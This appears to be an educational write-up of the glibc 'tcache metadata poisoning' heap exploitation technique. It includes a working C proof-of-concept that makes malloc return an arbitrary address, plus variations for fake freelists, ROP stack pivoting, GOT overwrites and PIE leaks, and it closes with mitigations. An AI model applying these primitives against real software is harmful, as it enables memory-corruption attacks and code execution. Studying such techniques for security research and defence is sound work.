Overview
Tcache metadata poisoning is an exploitation technique that directly manipulates the tcache_perthread_struct, which is the metadata structure controlling the tcache. By corrupting this structure, an attacker can:
- Insert arbitrary pointers into tcache bins
- Control the count of chunks in each bin
- Make malloc return completely arbitrary addresses without traditional heap corruption
The tcache metadata is stored at the beginning of the heap, immediately after the initial heap chunk. It contains two arrays: counts[] tracking how many chunks are in each bin, and entries[] containing the head pointers for each bin’s freelist.
Glibc Version Compatibility
Works on: glibc 2.26 and later (any version with tcache)
Key insight: The tcache metadata is just a regular heap chunk. If you can corrupt it, you have complete control over what malloc returns.
What This Technique Achieves
Locate tcache metadata
Calculate the address of the tcache_perthread_struct
Corrupt metadata
Write arbitrary pointer to entries[N] and set counts[N] = 1
Allocate from corrupted bin
malloc() with size corresponding to bin N returns your arbitrary pointer
This is arguably the most powerful tcache attack because you bypass all traditional heap corruption and directly control allocation behavior.
#define TCACHE_BINS 64
struct tcache_perthread_struct {
uint16_t counts[TCACHE_BINS]; // How many chunks in each bin (max 7)
void *entries[TCACHE_BINS]; // Head pointer for each bin's freelist
};
Memory layout:
+0x000: counts[0] (uint16_t) - count for bin 0 (size 0x20)
+0x002: counts[1] (uint16_t) - count for bin 1 (size 0x30)
....
+0x07e: counts[63] (uint16_t) - count for bin 63 (size 0x410)
+0x080: entries[0] (void*) - head pointer for bin 0
+0x088: entries[1] (void*) - head pointer for bin 1
....
+0x278: entries[63] (void*) - head pointer for bin 63
Total size: 0x280 bytes (64 * 2 + 64 * 8)
Source Code
#include <assert.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
// Tcache metadata poisoning attack
// ================================
//
// By controlling the metadata of the tcache an attacker can insert malicious
// pointers into the tcache bins. This pointer then can be easily accessed by
// allocating a chunk of the appropriate size.
// By default there are 64 tcache bins
#define TCACHE_BINS 64
// The header of a heap chunk is 0x10 bytes in size
#define HEADER_SIZE 0x10
// This is the `tcache_perthread_struct` (or the tcache metadata)
struct tcache_metadata {
uint16_t counts[TCACHE_BINS];
void *entries[TCACHE_BINS];
};
int main() {
// Disable buffering
setbuf(stdin, NULL);
setbuf(stdout, NULL);
uint64_t stack_target = 0x1337;
puts("This example demonstrates what an attacker can achieve by controlling\n"
"the metadata chunk of the tcache.\n");
puts("First we have to allocate a chunk to initialize the stack. This chunk\n"
"will also serve as the relative offset to calculate the base of the\n"
"metadata chunk.");
uint64_t *victim = malloc(0x10);
printf("Victim chunk is at: %p.\n\n", victim);
long metadata_size = sizeof(struct tcache_metadata);
printf("Next we have to calculate the base address of the metadata struct.\n"
"The metadata struct itself is %#lx bytes in size. Additionally we\n"
"have to subtract the header of the victim chunk (so an extra 0x10\n"
"bytes).\n",
sizeof(struct tcache_metadata));
struct tcache_metadata *metadata =
(struct tcache_metadata *)((long)victim - HEADER_SIZE - metadata_size);
printf("The tcache metadata is located at %p.\n\n", metadata);
puts("Now we manipulate the metadata struct and insert the target address\n"
"in a chunk. Here we choose the second tcache bin.\n");
metadata->counts[1] = 1;
metadata->entries[1] = &stack_target;
uint64_t *evil = malloc(0x20);
printf("Lastly we malloc a chunk of size 0x20, which corresponds to the\n"
"second tcache bin. The returned pointer is %p.\n",
evil);
assert(evil == &stack_target);
}
Step-by-Step Walkthrough
uint64_t *victim = malloc(0x10);
The first malloc initializes the heap structure:
Heap Layout:
+0x0000: [tcache_perthread_struct chunk header]
+0x0010: tcache_perthread_struct data (0x280 bytes)
+0x0290: [victim chunk header]
+0x02a0: victim chunk data <-- 'victim' points here
struct tcache_metadata *metadata =
(struct tcache_metadata *)((long)victim - HEADER_SIZE - metadata_size);
Calculation:
victim is at heap_base + 0x2a0
metadata_size = 0x280
HEADER_SIZE = 0x10
metadata = victim - 0x10 - 0x280 = heap_base + 0x10
This points to the start of the tcache_perthread_struct data.
Why this works: The tcache metadata is always the first allocated chunk on the heap. If you have any heap pointer, you can calculate back to find the metadata.
This is where the vulnerability is exploited. An attacker with a write primitive can corrupt the tcache metadata to inject arbitrary pointers.
metadata->counts[1] = 1; // Say bin 1 has 1 chunk
metadata->entries[1] = &stack_target; // Point bin 1 to our target
Tcache bin index calculation:
- Bin 0: chunk size 0x20 (malloc arg 0x01-0x18)
- Bin 1: chunk size 0x30 (malloc arg 0x19-0x28)
- Bin 2: chunk size 0x40 (malloc arg 0x29-0x38)
- …
- Bin N: chunk size (N+2) * 0x10
We choose bin 1, which corresponds to malloc(0x20).
What we’re writing:
At metadata + 0x002: 0x0001 (counts[1] = 1)
At metadata + 0x088: &stack_target (entries[1] = target pointer)
4. Trigger Arbitrary Allocation
uint64_t *evil = malloc(0x20);
When malloc(0x20) is called:
- Calculate tcache bin index: size 0x30 → bin 1
- Check
counts[1]: it’s 1, so tcache has a chunk
- Get pointer from
entries[1]: returns &stack_target
- Decrement
counts[1] to 0
- Return
&stack_target to user
Result: evil == &stack_target
We’ve successfully made malloc return a completely arbitrary address!
Attack Variations
Variation 1: Multiple Arbitrary Allocations
// Inject pointers into multiple bins
metadata->counts[0] = 1;
metadata->entries[0] = target1;
metadata->counts[1] = 1;
metadata->entries[1] = target2;
metadata->counts[2] = 1;
metadata->entries[2] = target3;
// Get them back
void *p1 = malloc(0x10); // Returns target1
void *p2 = malloc(0x20); // Returns target2
void *p3 = malloc(0x30); // Returns target3
Variation 2: Chain Multiple Chunks
// Create a fake freelist chain
fake_chunk1[0] = (uint64_t)fake_chunk2; // fd pointer
fake_chunk2[0] = (uint64_t)fake_chunk3;
metadata->counts[1] = 3; // Say we have 3 chunks
metadata->entries[1] = fake_chunk1;
malloc(0x20); // Returns fake_chunk1
malloc(0x20); // Returns fake_chunk2
malloc(0x20); // Returns fake_chunk3
In glibc 2.32+, the fd pointers are protected by safe-linking, so you’d need to properly mangle them:fake_chunk1[0] = (uint64_t)fake_chunk2 ^ ((uint64_t)fake_chunk1 >> 12);
Prerequisites
Heap pointer leak
Need at least one heap pointer to calculate metadata location
Write primitive
Ability to write to the tcache metadata structure (overflow, UAF, etc.)
Target address
Know the address you want malloc to return
Why This Is Powerful
Advantages over other techniques:
- No heap spray needed: Directly control what malloc returns
- Bypasses safe-linking: No need to corrupt fd pointers in chunks
- No double-free needed: Don’t need to free anything
- Works on any tcache size: Can target any of the 64 tcache bins
- Multiple targets: Can inject pointers into multiple bins at once
Comparison to tcache poisoning:
| Aspect | Tcache Poisoning | Metadata Poisoning |
|---|
| Need to free chunks? | Yes | No |
| Bypass safe-linking? | Need heap leak + calc | Not needed |
| Multiple allocations? | Need multiple corruptions | One corruption, multiple targets |
| Complexity | Medium | Low |
Common Use Cases
1. Stack pivoting:
metadata->counts[5] = 1;
metadata->entries[5] = stack_location;
void *p = malloc(0x50); // Returns stack_location
// Now write ROP chain via p
2. Overwriting GOT entries:
metadata->counts[3] = 1;
metadata->entries[3] = &got_entry;
void *p = malloc(0x30); // Returns &got_entry
*(void**)p = system_addr; // Overwrite GOT
3. Defeating PIE:
// If you can read back from allocations
metadata->counts[0] = 1;
metadata->entries[0] = code_section_pointer;
void *p = malloc(0x10);
// Read from p to leak code addresses
Detection and Mitigation
Why this works:
- Tcache metadata is stored in a regular heap chunk
- No special protections beyond normal heap protections
- Malloc trusts the metadata completely
Potential mitigations:
- Place tcache metadata in a separate, protected memory region
- Add integrity checks (checksums, canaries) to metadata
- Validate entries point to valid heap regions
- Implement bounds checking on entries array access
Newer glibc protections:
- Safe-linking (2.32+) makes it harder to create fake freelists, but doesn’t protect the metadata itself
- Still vulnerable if you can corrupt the metadata structure
- Tcache Poisoning - Corrupt individual chunk fd pointers
- Tcache House of Spirit - Free fake chunks into tcache
- [House of IO/techniques/house/house-of-io) - Another technique exploiting tcache metadata via UAF
Real-World Applicability
When you can use this:
- Heap overflow that reaches the beginning of the heap
- Use-after-free on an early allocation
- Arbitrary write primitive (write-what-where)
- Integer overflow leading to out-of-bounds write
Detection difficulty: Medium to High
- Corrupted metadata might not be immediately obvious
- Normal heap integrity checks won’t catch this
- Requires heap forensics or metadata validation